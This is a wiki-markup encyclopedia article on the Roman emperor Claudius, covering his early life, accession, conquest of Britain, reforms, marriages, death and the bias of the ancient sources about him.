On the personal front, the ancient historians describe Claudius as generous and lowbrow, a man who cracked lame jokes, laughed uncontrollably, and lunched with the [[plebs]]&lt;ref&gt;Suet. ''Claud.'' 5, 21, 40; Dio ''Rom. Hist.'' LX 2, 5, 12, 31.&lt;/ref&gt;. They also paint him as bloodthirsty, cruel, and very quick to anger (though Claudius himself acknowledged this last trait, and apologized publicly for his temper)&lt;ref&gt;Suet. ''Claud.'' 34, 38. Tacitus ''Ann.'' XII 20.&lt;/ref&gt;. To them he was also overly trusting, and easily manipulated by his wives and freedmen&lt;ref&gt;Suet. ''Claud.'' 29. Dio ''Rom. Hist.'' LX 2, 8.&lt;/ref&gt;. But at the same time they portray him as paranoid and apathetic, dull and easily confused&lt;ref&gt;Suet. ''Claud.'' 35, 36, 37, 39, 40. Dio ''Rom. Hist.'' LX 2, 3.&lt;/ref&gt;. The extant works of Claudius present a different view, painting a picture of an intelligent, well-read, conscientious administrator with an eye to detail and justice. Thus, Claudius becomes an enigma. Since the discovery of his &quot;Letter to the Alexandrians&quot; in the last century, much work has been done to rehabilitate Claudius and determine where the truth lies.

==Family and early life==
Claudius was born '''Tiberius Claudius Drusus''' on [[August 1]] [[10]] BCE in [[Lugdunum]], [[Gaul]], on the day of the dedication of an altar to [[Augustus]]. He was the third living child of [[Nero Claudius Drusus]] and [[Antonia Minor]], the two older children being [[Germanicus]] and [[Livilla]]. Antonia may have had two other children as well, but both died young.

His maternal grandparents were [[Mark Antony]] and [[Octavia]], Caesar Augustus' sister. His paternal grandparents were [[Livia]], Augustus' third wife, and [[Tiberius Nero|Tiberius Claudius Nero]]. During his reign, Claudius revived the rumor that his father Drusus was actually the illegitimate son of Augustus.

In 9 BCE, Drusus unexpectedly died, possibly from an injury. Claudius was then left to be raised by his mother, who never remarried. When Claudius' afflictions became evident, the relationship with his family turned sour. Antonia referred to him as a monster, and used him as a standard for stupidity, and seems to have passed him off on his grandmother Livia for a number of years&lt;ref&gt;Dio ''Hist.'' LX 2&lt;/ref&gt;. Livia was little kinder, and often sent him short, angry letters of reproof. He was put under the care of a &quot;former mule-driver&quot;&lt;ref&gt;Suet. ''Claud.'' 2. Suet ''Claud.'' 4 indicates the reasons for choosing this tutor, as outlined in Leon (1948).&lt;/ref&gt; to keep him disciplined, under the logic that his condition was due to laziness and a lack of will-power. However, by the time he reached his teenaged years his symptoms apparently waned and his family took some notice of his scholarly interests. In 7, [[Livy]] was hired in to tutor him in history, with the assistance of Sulpicius Flavus. He spent a lot of his time with the latter and the philosopher [[Athenodoros Cananites|Athenodorus]]. Augustus, according to a letter, was surprised at the clarity of Claudius' oratory&lt;ref&gt;Suet. ''Claud.'' 4.&lt;/ref&gt;. Expectations were raised as to his future.

[[Image:Claudiusreal.jpg|right|thumb|400px|A [[sestertius]] of Claudius. The obverse image is of [[Spes]] (Hope) Augusta, first issued to commemorate the birth of his son in 41.]]

In the end, it was his work as a budding historian that destroyed his early career. According to [[Vincent Scramuzza]] and others, Claudius began work on a history of the civil wars that was either too truthful or too critical of Octavian&lt;ref&gt;Scramuzza (1940) p. 39.&lt;/ref&gt;. In either case, it was far too early for such an account, and may have only served to remind Augustus that Claudius was Antony's descendant. His mother and grandmother quickly put a stop to it, and it may have proved to them that Claudius was not fit for public office. He could not be trusted to toe the line. When he returned to the narrative later in life, Claudius skipped over the civil wars of the second triumvirate altogether. But the damage was done, and his family pushed him to the background. When the [[Arch of Pavia]] was erected to honor the imperial clan in 8, Claudius' name (now '''Tiberius Claudius Nero Germanicus''' after his elevation to [[paterfamilias]] of Claudii Nerones on the adoption of his brother) was inscribed on the edge &amp;mdash; past the deceased princes, [[Gaius Caesar|Gaius]] and [[Lucius Caesar|Lucius]], and Germanicus' children. There is some speculation that the inscription was added by Claudius himself decades later, and he originally did not appear at all&lt;ref&gt;Stuart (1936).&lt;/ref&gt;.

When Augustus died in 14, Claudius &amp;mdash; then twenty-three &amp;mdash; appealed to his uncle [[Tiberius]] to allow him to begin the ''[[cursus honorum]]''. Tiberius, the new emperor, responded by granting Claudius consular ornaments. Claudius requested office once more and was snubbed. Since the new emperor was not any more generous than the old, Claudius gave up hope of public office and retired to a scholarly, private life.

Despite the disdain of the imperial family, it seems that from very early on the general public respected Claudius. At Augustus' death, the ''[[Equestrian (Roman)|equites]]'', or knights, chose Claudius to head their delegation. When his house burned down, the Senate demanded it be rebuilt at public expense. They also requested that Claudius be allowed to debate in the senate. Tiberius turned down both motions, but the sentiment remained. During the period immediately after the death of Tiberius' son, [[Julius Caesar Drusus|Drusus]], Claudius was pushed by some quarters as a potential heir. This again suggests the political nature of his exclusion from public life. However, as this was also the period during which the power and terror of the Praetorian [[Sejanus]] was at its peak, Claudius chose to downplay this possibility.

After the death of Tiberius, the new emperor [[Caligula]] recognized Claudius to be of some use. He appointed Claudius his co-consul in 37 in order to emphasize the memory of Caligula's deceased father Germanicus. Despite this, Caligula relentlessly tormented his uncle: playing practical jokes, charging him enormous sums of money, humiliating him before the Senate, and the like. According to [[Cassius Dio]], as well a possible surviving portrait, Claudius became very sickly and thin by the end of Caligula's reign &amp;mdash; most likely due to the stresses&lt;ref&gt;Dio ''Rom. Hist.'' LX 2. Suhr (1955) suggests that this must refer to before Claudius came to power.&lt;/ref&gt;.

==Accession as emperor==
On [[January 24]] [[41]], Caligula was assassinated by a broad-based conspiracy (including Praetorian commander [[Cassius Chaerea]] and several [[Roman Senate|Senators]]). There is no evidence that Claudius had a direct hand in the assassination, although he probably knew about the plot &amp;mdash; particularly since he left the scene of the crime shortly before the event. However, after the deaths of Caligula's [[Caesonia|wife]] and daughter, it became apparent that Cassius intended to go beyond the terms of the conspiracy and wipe out the imperial family. In the chaos following the murder, Claudius witnessed the German guard cut down several uninvolved noblemen, including friends of his. Concerned for his survival, he fled to the palace to hide himself. According to tradition, a Praetorian named Gratus found him hiding behind a curtain and suddenly declared him [[imperator]]&lt;ref&gt;Josephus ''Antiquitates Iudiacae'' XIX. Dio ''Rom. Hist.'' LX 1.&lt;/ref&gt;. A section of the guard may have planned in advance to seek out Claudius, perhaps with his approval. They reassured him that they were not one of the battalions looking for revenge. He was spirited away to the Praetorian camp and put under their protection.

[[Image:Claudiuspax.jpg|left|thumb|400px|Claudius issued this [[denarius]] type to emphasize his clemency after Caligula's assassination. The depiction of the goddess [[Pax-Nemesis]], representing subdued vengence, would be used on the coins of many later emperors.]]

The Senate quickly met and began debating a change of government, but this eventually devolved into an argument over which of them would be the new [[Princeps]]. When they heard of praetorians' claim, they demanded that Claudius be delivered to them for approval, but he refused, rightly sensing the danger that would come with complying. Some historians, particularly [[Josephus]]&lt;ref&gt;Josephus ''Ant. Iud.'' XIX.&lt;/ref&gt;, claim that Claudius was directed in his actions by the Judean King [[Herod Agrippa]]. However, an earlier version of events by the same ancient author downplays Agrippa's role&lt;ref&gt;Josephus ''Bellum Iudiacum'' II, 204-233.&lt;/ref&gt; &amp;mdash; so it is not known how large a hand he had in things. Eventually the Senate was forced to give in and, in return, Claudius pardoned nearly all the assassins.

Claudius took several steps to legitimize his rule against potential usurpers, most of them emphasizing his place within the Julio-Claudian family. He adopted the name &quot;Caesar&quot; as a [[cognomen]] &amp;mdash; the name still carried great weight with the populace. In order to do so, he dropped the cognomen &quot;Nero&quot; which he had adopted as paterfamilias of the Claudii Nerones when his brother Germanicus was adopted out. While he had never been adopted by Augustus or his successors, he was the grandson of Octavia, and so felt he had the right. He also adopted the name &quot;Augustus&quot; as the two previous emperors had done at their accessions. He kept the honorific &quot;Germanicus&quot; in order to display the connection with his heroic brother. He deified his paternal grandmother Livia in order to highlight her position as wife of the divine Augustus. Claudius frequently used the term &quot;filius Drusi&quot; (son of Drusus) in his titles, in order to remind the people of his legendary father and lay claim to his reputation.

Because he was proclaimed emperor on the initiative of the [[Praetorian Guard]] instead of the Senate &amp;mdash; the first emperor thus proclaimed &amp;mdash; Claudius' repute suffered at the hands of commentators (such as [[Seneca the Younger|Seneca]]). Moreover, he was the first Emperor who resorted to bribery as a means to secure army loyalty. This is not entirely how it seems. Tiberius and Augustus had both left gifts to the army and guard in their wills, and on the death of Caligula the same would have been expected, even if no will existed. Claudius remained grateful to the guard, however, issuing coins with tributes to the praetorians in the early part of his reign.

==Expansion of the empire==
[[Image:Claudiuscellamodel.jpg|right|thumb|225px|Model of the Temple of the divine Claudius, erected in [[Colchester]] after the conquest of Britain. Image courtesy [http://www.vroma.org The VRoma Project].]]

Under Claudius, the empire underwent its first major expansion since the reign of Augustus. The provinces of [[Thrace]], [[Mauretania]], [[Noricum]], [[Pamphylia]], [[Lycia]], and [[Judea]] were annexed during his term. The most important conquest was that of [[Roman conquest of Britain|Britannia]].

In 43, Claudius sent [[Aulus Plautius]] with four [[Roman legion|legions]] to [[Britain]] after an appeal from an ousted tribal ally. Britain was an attractive target for Rome because of its material wealth &amp;mdash; particularly mines and slaves. It was also a safe haven for Gallic rebels and the like, and so could not be left alone much longer. Claudius himself traveled to the island after the completion of initial offenses, bringing with him reinforcements and elephants. The latter must have made an impression on the [[Britons]] when they were used in the capture of [[Camulodunum]]. He left after 16 days, but remained in the provinces for some time. The Senate granted him a [[Roman triumph|triumph]] for his efforts, as only members of the imperial family were allowed such honors. Claudius later lifted this restriction for some of his conquering generals. He was granted the honorific &quot;Britannicus&quot; but only accepted it on behalf of his son, never using the title himself. When the British general, [[Caractacus]], was finally captured in 50, Claudius granted him clemency. Caractacus lived out his days on land provided by the Roman state, an unusual end for an enemy commander, but one that must have calmed the British opposition.

Claudius conducted a census in 48 that found 5,984,072 Roman citizens, an increase of around a million since the census conducted at Augustus' death. He had helped increase this number through the foundation of Roman colonies that were granted blanket citizenship. These colonies were often made out of existing communities, especially those with elites who could rally the populace to the Roman cause. Several colonies were placed in new provinces or on the border of the empire in order to secure Roman holdings as quickly as possible.

==Judicial and legislative affairs==
Claudius personally judged many of the legal cases tried during his reign. Ancient historians have many complaints about this, stating that his judgements were variable and sometimes did not follow the law&lt;ref&gt;Suet. ''Claud.'' 15. Dio ''Rom. Hist.'' LXI 33.&lt;/ref&gt;. He was also easily swayed. Nevertheless, Claudius paid detailed attention to the operation of the judicial system. He extended the summer court session, as well as the winter term, by shortening the traditional breaks. Claudius also made a law requiring plaintiffs to remain in the city while their cases were pending, as defendants had previously been required to do. These measures had the effect of clearing out the docket. The minimum age for jurors was also raised to 25 in order to ensure a more experienced jury pool.

Claudius also settled disputes in the provinces. He freed the island of [[Rhodes]] from Roman rule for their good faith and exempted [[Troy]] from taxes. Early in his reign, the Greeks and Jews of [[Alexandria]] sent him two embassies at once after riots broke out between the two communities. This resulted in the famous &quot;Letter to the Alexandrians,&quot; which reaffirmed Jewish rights in the city but also forbade them to move in more families en masse. According to [[Josephus]], he then reaffirmed the rights and freedoms of all the Jews in the empire&lt;ref&gt;Josephus ''Ant. Iud.'' XIX, 287.&lt;/ref&gt;. An investigator of Claudius' discovered that many old Roman citizens based in the modern city of [[Trento]] were not in fact citizens. The emperor issued a declaration that they would be considered to hold citizenship from then on, since to strip them of their status would cause major problems. However, in individual cases, Claudius punished false assumption of citizenship harshly, making it a capital offense. Similarly, any freedmen found to be impersonating knights were sold back into slavery.

Numerous edicts were issued throughout Claudius' reign. These were on a number of topics, everything from medical advice to moral judgements. Two famous medical examples are one promoting [[Taxus baccata|Yew]] juice as a cure for snakebite, and another promoting public flatulence for good health. One of the more famous edicts concerned the status of sick slaves. Masters had been abandoning ailing slaves at the temple of [[Aesculapius]] to die, and then reclaiming them if they lived. Claudius ruled that slaves who recovered after such treatment would be free. Furthermore, masters who chose to kill slaves rather than take the risk would be charged with murder.

==Public works==
[[Image:Rome.Porta_Maggiore.jpg|left|thumb|250px|The Porta Maggiore in Rome]]

Claudius embarked on many public works throughout his reign, both in the capital and in the provinces. He built two aqueducts, the [[Aqua Claudia]], begun by Caligula, and the [[Anio Novus]]. These entered the city in 52 and met at the famous [[Porta Maggiore]]. He also restored a third, the [[Aqua Virgo]].

He paid special attention to transportation. Throughout Italy and the provinces he built roads and canals. Among these was a large canal leading from the Rhine to the sea, as well as a road from Italy to Germany &amp;mdash; both begun by his father, Drusus. Closer to Rome, he built a navigable canal on the [[Tiber]], leading to [[Portus]], his new port just north of [[Ostia]]. This port was constructed in a semicircle with two [[Mole (architecture)|moles]] and a lighthouse at its mouth. The construction also had the effect of reducing flooding in Rome.

The port at Ostia was part of Claudius' solution to the constant grain shortages that occurred in winter, after the Roman shipping season. The other part of his solution was to insure the ships of grain merchants who were willing to risk traveling to Egypt in the off-season. He also granted their sailors special privileges, including citizenship and exemption from the [[Lex Papia-Poppaea]], a law that regulated marriage. In addition, he repealed the taxes that Caligula had instituted on food, and further reduced taxes on communities suffering draught or famine.

The last part of Claudius' plan was to increase the amount of arable land in Italy. This was to be achieved by draining the [[Fucine lake]], which would have the added benefit of making the nearby river navigable year-round. A tunnel was dug through the lake bed, but the plan was a failure. The tunnel was not large enough to carry the water, and crooked, which caused it to back up when opened. The draining of the lake was not a bad idea, and many other emperors and potentates considered it, including the emperors [[Hadrian]] and [[Trajan]], and [[Holy Roman Emperor]] [[Frederick II, Holy Roman Emperor|Frederick II]] in the [[Middle Ages]]. It was finally achieved by the Prince [[Torlonia]] in the 19th century. He expanded the Claudian tunnel to three times its original size.

==Claudius and the Senate==
Because of the circumstances of his accession, Claudius took great pains to please the Senate. During regular sessions, the emperor sat amongst the Senate body, speaking in turn. When introducing a law, he sat on a bench between the consuls in his position as [[Tribune]]. He refused to accept all his predecessors' titles (including [[Imperator]]) at the beginning his reign, preferring to earn them in due course. He allowed the Senate to issue its own bronze coinage for the first time since Augustus. He also put the imperial provinces of [[Macedonia (Roman province)|Macedonia]] and [[Achaea]] back under Senate control.

Claudius set about remodeling the Senate into a more efficient, representative body. He chided the senators about their reluctance to debate bills introduced by himself, as noted in the fragments of a surviving speech:
&lt;blockquote&gt;&quot;If you accept these proposals, Conscript Fathers, say so at once and simply, in accordance with your convictions. If you do not accept them, find alternatives, but do so here and now; or if you wish to take time for consideration, take it, provided you do not forget that you must be ready to pronounce your opinion whenever you may be summoned to meet. It ill befits the dignity of the Senate that the consul designate should repeat the phrases of the consuls word for word as his opinion, and that every one else should merely say 'I approve', and that then, after leaving, the assembly should announce 'We debated'.&quot;&lt;ref&gt;English translation of Berlin papyrus by W.D. Hogarth, in Momigliano (1934).&lt;/ref&gt;&lt;/blockquote&gt;
It is not known if this plea had any effect on discourse.

[[Image:claudiussc.jpg|right|thumb|400px|A bronze [[As (coin)|As]] issued during Claudius' reign. Note the &quot;SC&quot; mark on the reverse, meaning issued with the Senate's approval.]]

In 47 he assumed the office of [[Censor]] with [[Lucius Vitellius]], which had been allowed to lapse for some time. He struck the names of many senators and equites who no longer met qualifications, but showed respect by allowing them to resign in advance. At the same time, he sought to admit eligible men from the provinces. The Lyons Tablet preserves his speech on the admittance of Gallic senators, in which he addresses the Senate with reverence but also with criticism for their disdain of these men. He also increased the number of [[Patrician]]s by adding new families to the dwindling number of noble lines. Here he followed the precedent of [[Lucius Junius Brutus]] and [[Julius Caesar]].

Despite this, many in the Senate remained hostile to Claudius, and many plots were made on his life. This hostility carried over into the historical accounts. As a result, Claudius was forced to reduce the Senate's power for efficiency. The administration of Ostia was turned over to an imperial [[Promagistrate|Procurator]] after construction of the port. Administration of many of the empire's financial concerns was turned over to imperial appointees and freedmen. This led to further resentment and suggestions that these same freedmen were ruling the emperor.

Several coup attempts were made during Claudius' reign, resulting in the deaths of many senators. [[Appius Silanus]] was executed early in Claudius' reign under questionable circumstances. Shortly after, a large rebellion was undertaken by the Senator Vinicianus and Scribonianus, the governor of [[Dalmatia]] and gained quite a few senatorial supporters. It ultimately failed because of the reluctance of Scribonianus' troops, and the suicide of the main conspirators. Many other senators tried different conspiracies and were condemned. Claudius' son-in-law Pompeius Magnus was executed for his part in a conspiracy with his father Crassus Frugi. Another plot involved the consulars Lusiius Saturninus, Cornelius Lupus, and Pompeius Pedo. In 46, [[Asinius Gallus]], the grandson of [[Asinius Pollio]], and Statilius Corvinus were exiled for a plot hatched with several of Claudius' own freedmen. [[Valerius Asiaticus]] was executed without public trial for unknown reasons. The ancient sources say the charge was adultery, and that Claudius was tricked into issuing the punishment. However, Claudius singles out Asiaticus for special damnation in his speech on the Gauls, which dates over a year later, suggesting that the charge must have been much more serious. Asiaticus had been a claimant to the throne in the chaos following Caligula's death and a co-consul with the Statilius Corvinus mentioned above. Most of these conspiracies took place before Claudius' consulship, and may have induced him to overlook the Senatorial rolls. The conspiracy of [[Gaius Silius]] in the year after his consulship, 48, is detailed in the section discussing Claudius's third wife, [[Messalina]]. Suetonius states that a total of 35 senators and 300 knights were executed for offenses during Claudius' reign&lt;ref&gt;Suet. ''Claud.'' 29.&lt;/ref&gt;. Needless to say, the necessary responses to these conspiracies could not have helped Senate-emperor relations.

==The Secretariat and centralization of powers==
[[Image:claudiuscameo.jpg|left|thumb|175px|A [[sardonyx]] [[cameo]] of Claudius. Image courtesy [http://www.vroma.org The VRoma Project].]]

Claudius was hardly the first emperor to use freedmen to help with the day-to-day running of the empire. He was, however, forced to increase their role as the powers of the [[princeps]] became more centralized and the burden larger. This was partly due to the ongoing hostility of the senate, as mentioned above, but also due to his respect for the senators. Claudius did not want free-born magistrates to have to serve under him, as if they were not peers.

The secretariat was divided into bureaus, with each being placed under the leadership of one freedmen. [[Tiberius Claudius Narcissus|Narcissus]] was the secretary of correspondence. [[Pallas (freedman)|Pallas]] became the secretary of the treasury. [[Callistus (freedman)|Callistus]] became the equivalent of the U.S. Attorney General. There was a fourth bureau for miscellaneous issues, which was put under [[Polybius (freedman)|Polybius]] until his execution for treason. The freedmen could also officially speak for emperor, as when Narcissus addressed the troops in Claudius' stead before the conquest of Britain. Since these were important positions, the senators were aghast at their being placed in the hands of former slaves. If freedmen had total control of money, letters, and law, it seemed it would not be hard for them to manipulate the emperor. This is exactly the accusation put forth by the ancient sources. However, these same sources admit that the freedmen were loyal to Claudius to a man&lt;ref&gt;Tac. ''Ann.'' XII 65. Seneca ''Ad Polybium.''&lt;/ref&gt;. He was similarly appreciative of them and gave them due credit for policies where he had used their advice. However, if they showed treasonous inclinations, the emperor did punish them with just force, as in the case of Polybius and Pallas' brother, [[Antonius Felix|Felix]]. There is no evidence that the character of Claudius' policies and edicts changed with the rise and fall of the various freedmen, suggesting that he was firmly in control throughout.

Regardless of the extent of their political power, the freedmen did manage to amass wealth through their positions. [[Pliny the Elder]] notes that several of them were richer than [[Crassus]], the richest man of the Republican era&lt;ref&gt;Pliny ''Natural History'' 134.&lt;/ref&gt;.

==Religious reforms and games==
Claudius, as the author of a treatise on Augustus' religious reforms, felt himself in a good position to institute some of his own. He had strong opinions about the proper form for state religion. He refused the request of Alexandrian Greeks to dedicate a temple to his divinity, saying that only gods may choose new gods. He restored lost days to festivals and got rid of many extraneous celebrations added by Caligula. He reinstituted old observances and archaic language. Claudius was concerned with the spread of eastern mysteries within the city and searched for more Roman replacements. He emphasized the [[Eleusinian mysteries]] which had been practiced by so many during the Republic. He expelled foreign astrologers, and at the same time rehabilitated the old Roman soothsayers (known as [[haruspices]]) as a replacement. He was especially hard on [[Druidism]], because of its incompatibility with the Roman state religion and its [[Proselytism|proselytizing]] activities. It is also reported that at one time he expelled the Jews from Rome, probably because the appearance of Christianity had caused unrest within the Jewish community.&lt;ref&gt;There is some debate about what actually happened. It is reported by Suetonius and in Acts (18:2), Cassius Dio minimizes the event and Josephus - who was reporting on Jewish events - does not mention it at all. Some scholars hold that it didn't happen, while others have only a few missionaries expelled for the short term.&lt;/ref&gt;. Claudius  opposed proselytizing in any religion, even those where he allowed natives to worship freely. The results of all these efforts were recognized even by Seneca, who has an ancient Latin god defend Claudius in his satire&lt;ref&gt;Seneca ''Apocolo.'' 9.&lt;/ref&gt;.  

Claudius performed the [[Secular games|Secular Games]], marking the 800th anniversary of the founding of Rome. Augustus had performed the same games less than a century prior. Augustus' excuse was that the interval for the games was 110 years, not 100, but his date actually did not qualify under either reasoning. Claudius also presented naval battles to mark the attempted draining of the Fucine lake.

==Marriages and personal life==
[[Image:Messalina2.jpg|right|thumb|200px|Messalina holding the infant Britannicus. Courtesy [http://www.vroma.org The VRoma Project].]]

Claudius' love life was unusual for an upper-class Roman of his day. As [[Edward Gibbon]] mentions, of the first fifteen emperors, &quot;Claudius was the only one whose taste in love was entirely correct&quot; - the implication being that he was the only one not to take [[Homosexuality|men]] or [[Pederasty|boys]] as lovers. Gibbons based this on Suetonius' factual statement that &quot;He had a great passion for women, but had no interest in men.&quot;&lt;ref&gt;Suet. ''Claud.'' 33.&lt;/ref&gt; Suetonius and the other ancient authors actually used this against Claudius. They accused him of being dominated by these same women and wives, of being uxorious, and of being a womanizer., 

Claudius married four times. His first marriage, to [[Plautia Urgulanilla]] occurred after two failed betrothals. The first was to his distant cousin [[Aemilia Lepida]], but was broken for political reasons. The second was to [[Livia Medullina]], which ended with the bride's sudden death on their wedding day. Urgulanilla was a relation of Livia's confidant [[Urgulania]]. During their marriage she gave birth to a son, Claudius Drusus. Unfortunately, Drusus died of asphyxiation in his early teens, shortly after becoming engaged to the daughter of [[Sejanus]]. Claudius later divorced Urgulanilla for adultery and on suspicion of murdering her sister-in-law Apronia. When Urgulanilla gave birth after the divorce, Claudius repudiated the baby girl, Claudia, as the father was one of his own freedmen. Soon after (possibly in 28), Claudius married [[Aelia Paetina]], a relation of Sejanus. They had a daughter, [[Claudia Antonia]]. He later divorced her after the marriage became a political liability (although Leon (1948) suggests it may have been due to emotional and mental abuse by Aelia).

In 38 or early 39, Claudius married [[Valeria Messalina]], who was his first cousin once removed and closely allied with Caligula's circle. Shortly thereafter, she gave birth to a daughter [[Octavia]]. A son, first named Tiberius Claudius Germanicus, and later known as [[Britannicus]], was born just after Claudius' accession. This marriage ended in tragedy. The ancient historians allege that Messalina regularly [[Cuckold|cuckolded]] Claudius &amp;mdash; [[Tacitus]] states she went so far as to face-off with a prostitute&lt;ref&gt;Tac. ''Ann.'' XI 10. Also Dio ''Rom. Hist.'' LXI 31, and Pliny ''Nat. Hist.'' X 172.&lt;/ref&gt; &amp;mdash; and manipulated his policies in order to amass wealth. In 48, Messalina married her lover Gaius [[Silius]] in a public ceremony while Claudius was at Ostia. Sources disagree as to whether or not she divorced the emperor first, and whether the intention was to usurp the throne. Scramuzza, in his biography, suggests that Silius may have convinced Messalina that Claudius was doomed, and the union was her only hope of retaining rank and protecting her children&lt;ref&gt;Scramuzza (1940) p. 90. Momigliano (1934) pp. 6-7. Levick (1990) p. 19.&lt;/ref&gt;. The historian [[Tacitus]] suggests that Claudius' ongoing term as Censor may have prevented him from noticing the affair before it reached such a critical point&lt;ref&gt;Tac. ''Ann.'' XI. 25, 8.&lt;/ref&gt;. Whatever the case, the result was the death of Silius, Messalina, and most of her circle. Claudius made the Praetorians promise to kill him if he ever married again.

[[Image:Woman_childstatue3.jpg|left|thumb|150px|Agrippina and Nero. Courtesy [http://www.vroma.org The VRoma Project].]]

Despite this declaration, Claudius did marry once more. The ancient sources tell that his freedmen pushed three candidates, Caligula's former wife [[Lollia Paulina]], his second wife Aelia, and his niece [[Agrippina the younger]]. According to Suetonius, Agrippina won out through her feminine wiles&lt;ref&gt;Suet. ''Claud.'' 26.&lt;/ref&gt;. The truth is likely more political. The coup attempt by Silius probably made Claudius realize the weakness of his position as a member of the Claudian but not the Julian family. This weakness was compacted by the fact that he did not have an obvious adult heir, Britannicus being just a boy. Agrippina was one of the few remaining descendants of Augustus, and her son Lucius Domitius Ahenobarbus (later known as [[Nero]]) was one of the last males of the imperial family. Future coup attempts could rally around the pair, and Agrippina was already showing such ambition. It has been suggested in recent times that Senate may have pushed for the marriage to end the feud between the Julian and Claudian branches&lt;ref&gt;Scramuzza (1940) pp. 91-92. See also Tac. ''Ann.'' XII 6, 7; Suet. ''Claud.'' 26.&lt;/ref&gt;. This feud dated back to Agrippina's [[Agrippina the elder|mother's]] actions against Tiberius after the death of her husband Germanicus, actions which Tiberius had gladly punished. In any case, Claudius accepted Agrippina, and later adopted the newly mature Nero as his son.

Nero was made joint heir with the underage Britannicus, married to Octavia and heavily promoted. This was not as unusual as it seems to people acquainted with modern hereditary monarchies. [[Barbara Levick]] notes that Augustus had named his grandson [[Postumus Agrippa]] and his stepson Tiberius joint heirs&lt;ref&gt;Levick (1990) p. 70. See also Scramuzza (1940) p. 92.&lt;/ref&gt;. Tiberius named his great-nephew Caligula joint heir with his grandson [[Tiberius Gemellus]]. Adoption of adults or near adults was an old tradition in Rome when a suitable natural adult heir was unavailable. This was the case during Britannicus' minority. S.V. Oost suggests that Claudius looked to adopt one of his sons-in-law to protect his own reign&lt;ref&gt;Oost (1958).&lt;/ref&gt;. Possible usurpers could note that there was no adult to replace him. [[Faustus Cornelius Sulla Felix|Faustus Sulla]], married to his daughter [[Claudia Antonia|Antonia]], was only descended from Octavia and Antony on one side &amp;mdash; not close enough to the imperial family to prevent doubts (that didn't stop others from making him the object of a coup attempt against Nero a few years later). Besides which, he was the half brother of [[Messalina]], and at this time those wounds were still fresh. [[Nero]] was more popular with the general public as the grandson of Germanicus and the direct descendant of Augustus.

==Death, deification, and reputation==
The general consensus of the ancients is that Claudius was murdered by poison &amp;mdash; possibly contained in mushrooms &amp;mdash; in the early hours of [[October 13]] [[54]]. There are various accounts, some of which implicate [[Halotus]], his taster, and some Xenophon, his doctor as the administrator of the poison&lt;ref&gt;Accounts of his death: Suet. ''Claud.'' 43, 44. Tac. ''Ann.'' XII 64, 66-67. Josephus ''Ant. Iud.'' XX 148, 151. Dio ''Rom. Hist.'' LX 34. Pliny ''Natural History'' II 92, XI 189, XXII 92.&lt;/ref&gt;. Some say he died after prolonged suffering following a single dose at dinner, and some have him recovering only to be poisoned again. All implicate his wife, Agrippina, as the instigator. Now that Britannicus was approaching the age of majority, there was no need for Nero to be heir in case of Claudius' death. There was now no chance of a minor ascending the throne and setting off civil war. Thus, Claudius began to talk of divorce. Agrippina most likely acted to ensure the succession of Nero before changes could be made. In modern times, some authors have cast doubt on whether Claudius was murdered or merely succumbed to illness or old age&lt;ref&gt;Scramuzza (1934) pp. 92-93 says that tradition makes every emperor the victim of foul play, so we can't know if Claudius was trully murdered. Levick (1990) pp. 76-77. raises the possibility that Claudius was killed by the stress of fighting with Agrippina over the succession, but concludes that the timing makes murder the most likely cause.&lt;/ref&gt;. Considering the longevity of his relatives who reached even middle age (his grandmother Livia died at 85 or 86, his uncle Tiberius reached age 77, and his mother Antonia committed suicide at 72) this seems unlikely. The universality of the murder story in the ancient texts also lends credence to the crime&lt;ref&gt;As opposed to the murder of Augustus, which is only found in Tacitus and Dio where he quotes Tacitus. Suetonius, an invenerate gossip, doesn't mention it at all.&lt;/ref&gt;. Claudius' ashes were interred in the [[Mausoleum of Augustus]] on October 24, after a funeral in the manner of Augustus.

[[Image:Claudiustemple.jpg|right|thumb|300px|Model of ancient Rome showing the Temple of Claudius, built by Vespasian on the site of Nero's [[Domus Aurea|Golden House]]. The Aqua Claudia aqueduct runs next to it, and the Colosseum sits adjacent. Image courtesy [http://www.vroma.org The VRoma Project].]]

Claudius was deified by the Senate almost immediately. Those who regard this homage by [[Agrippina the younger|Agrippina]] as cynical should note that, cynical or not, such a move would hardly have benefited those involved, had Claudius been &quot;hated&quot;, as some commentators, both modern and historic, characterize him.  Moreover, though Claudius's divinity was annulled by [[Nero]], it was later restored by the &quot;good&quot; emperor [[Vespasian]], who had been a general in the British conquest. Despite this, many of Claudius' less solid supporters quickly became Nero's men. His will was suppressed and never read. Claudius had changed it shortly before death to either recommend Nero and Britannicus jointly or perhaps just Britannicus, who would be considered a man in a few months. Agrippina had sent away Narcissus shortly before Claudius' death, and now murdered the freedman. The last act of this secretary of letters was to burn all of Claudius' correspondence - most likely so it could not be used against him and others in an already hostile new regime. Thus Claudius' private words about his own policies and motives were lost to history. Nero and his circle wasted no time vilifying Claudius; Nero even criticized him in his eulogy! Most of Claudius' laws and edicts were annulled, under the reasoning that he was too stupid and senile to have meant them. This opinion of Claudius, that he was indeed an old idiot, remained the official one for the duration of Nero's reign. Eventually Nero stopped referring to his deified adoptive father at all, and realigned with his birth family.

The [[Flavians]], who had risen to prominence under Claudius, took a different tack. They were in a position where they needed to shore up their legitimacy, but also justify the fall of the Julio-Claudians. They reached back to Claudius in contrast with Nero, to show that they were good associated with good. Claudius' temple was built over Nero's [[Domus Aurea|golden house]]. Commemorative coins were issued of Claudius and his natural son Britannicus - who had been a friend of the emperor [[Titus]]. However, as the Flavians became established, they needed to emphasize their own credentials more, and their references to Claudius ceased. Instead, he was put down with the other emperors of the fallen dynasty. 

The main ancient historians [[Tacitus]], [[Suetonius]], and [[Cassius Dio]] all wrote after the last of the Flavians had gone. All three were senators or equites. They took the side of the Senate in most conflicts with the princeps, as well as the senator's views of the emperor. This resulted in biases, both conscious and unconscious. Suetonius lost access to the official archives shortly after beginning his work. He was forced to rely on second-hand accounts when it came to Claudius (with the exception of Augustus' letters which had been gathered earlier) and does not quote the emperor. Suetonius painted Claudius as a ridiculous figure, belittling many of his acts and attributing the objectively good works to his retinue.&lt;ref&gt;Scramuzza, p. 29&lt;/ref&gt; Tacitus wrote a narrative for his fellow senators and fit each of the emperors into a simple mold of his choosing.&lt;ref&gt;Vessey (1971)&lt;/ref&gt;. He wrote Claudius as a passive pawn and an idiot - going so far as to hide his use of Claudius as a source and omit Claudius' character from his works.&lt;ref&gt;Griffin (1990). ''Ann.'' XI 14 is a good example. The digression on the history of writing is certainly Claudius' own argument for his new letters, and fits in with his personality and extant writings. Tacitus makes no attribution.&lt;/ref&gt; Even his version of Claudius' Lyons tablet speech is edited to be devoid of the emperor's personality. Dio was less biased, but seems to have used Suetonius and Tacitus as sources. 